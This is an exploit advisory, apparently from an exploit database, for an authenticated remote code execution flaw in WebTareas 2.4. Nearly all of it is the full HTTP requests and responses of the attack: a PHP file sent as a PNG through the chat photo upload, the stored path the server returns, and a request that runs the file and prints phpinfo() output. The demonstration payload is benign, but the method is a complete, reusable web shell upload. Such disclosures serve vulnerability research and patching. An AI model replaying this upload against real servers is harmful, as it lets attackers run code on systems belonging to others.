WebTareas 2.4 Remote Shell Upload

`# Exploit Title: WebTareas 2.4 - RCE (Authorized)  
# Date: 15/10/2022  
# Exploit Author: Hubert Wojciechowski  
# Contact Author: [email protected]  
# Vendor Homepage: https://sourceforge.net/projects/webtareas/  
# Software Link: https://sourceforge.net/projects/webtareas/  
# Version: 2.4  
# Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23  
  
## Example in forum -> members forum -> chat  
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Param: chatPhotos0  
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Req  
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POST /webtareas/includes/chattab_serv.php HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0  
Accept: */*  
Accept-Language: pl,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------13392153614835728094189311126  
Content-Length: 6852  
Origin: http://127.0.0.1  
Connection: close  
Referer: http://127.0.0.1/webtareas/topics/listtopics.php?forum=1&toggle_focus=members&msg=add  
Cookie: webTareasSID=k177423c2af6isukkurfeq0g61; qdPM8=grntkihirc9efukm73dpo1ktt5; PHPSESSID=nsv9pmko3u7rh0s37cd6vg2ko1  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
  
-----------------------------13392153614835728094189311126  
Content-Disposition: form-data; name="action"  
  
sendPhotos  
-----------------------------13392153614835728094189311126  
Content-Disposition: form-data; name="chatTo"  
  
2  
-----------------------------13392153614835728094189311126  
Content-Disposition: form-data; name="chatType"  
  
P  
-----------------------------13392153614835728094189311126  
Content-Disposition: form-data; name="chatPhotos0"; filename="snupi.php"  
Content-Type: image/png  
  
PNG  
[...]  
<?php phpinfo();?>  
[...]  
  
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Res:  
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HTTP/1.1 200 OK  
Date: Sat, 15 Oct 2022 11:27:41 GMT  
Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30  
X-Powered-By: PHP/7.4.30  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 661  
Connection: close  
Content-Type: application/json  
  
{"content":"<div class=\"message\"><div class=\"message-left\"><img class=\"avatar\" src=\"..\/includes\/avatars\/f2.png?ver=1665796223\"><\/div><div class=\"message-right\"><div class=\"message-info\"><div class=\"message-username\">Administrator<\/div><div class=\"message-timestamp\">2022-10-15 13:27<\/div><\/div><div class=\"photo-box\"><img src=\"..\/files\/Messages\/7.php\" onclick=\"javascript:showFullscreen(this);\"><div class=\"photo-action\"><a href=\"..\/files\/Messages\/7.php\" download=\"snupi.php\"><img title=\"Zaoszcz\u0119dzi\u0107\" src=\"..\/themes\/camping\/btn_download.png\"><\/a><\/div><label>snupi.php<\/label><\/div><\/div><\/div>"}  
  
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See link: /files\/Messages\/7.php  
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Req:  
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GET /webtareas/files/Messages/7.php HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0  
Accept: image/avif,image/webp,*/*  
Accept-Language: pl,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: close  
Referer: http://127.0.0.1/webtareas/topics/listtopics.php?forum=1&toggle_focus=members&msg=add  
Cookie: webTareasSID=k177423c2af6isukkurfeq0g61; qdPM8=grntkihirc9efukm73dpo1ktt5; PHPSESSID=nsv9pmko3u7rh0s37cd6vg2ko1  
Sec-Fetch-Dest: image  
Sec-Fetch-Mode: no-cors  
Sec-Fetch-Site: same-origin  
  
-----------------------------------------------------------------------------------------------------------------------  
Res:  
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HTTP/1.1 200 OK  
Date: Sat, 15 Oct 2022 11:28:16 GMT  
Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30  
X-Powered-By: PHP/7.4.30  
Connection: close  
Content-Type: text/html; charset=UTF-8  
Content-Length: 89945  
[...]  
<title>PHP 7.4.30 - phpinfo()</title>  
[...]  
<h1 class="p">PHP Version 7.4.30</h1>  
</td></tr>  
</table>  
<table>  
<tr><td class="e">System </td><td class="v">Windows NT DESKTOP-LE3LSIM 10.0 build 19044 (Windows 10) AMD64 </td></tr>  
<tr><td class="e">Build Date </td><td class="v">Jun 7 2022 16:22:15 </td></tr>  
<tr><td class="e">Compiler </td><td class="v">Visual C++ 2017   
[...]  
  
  
`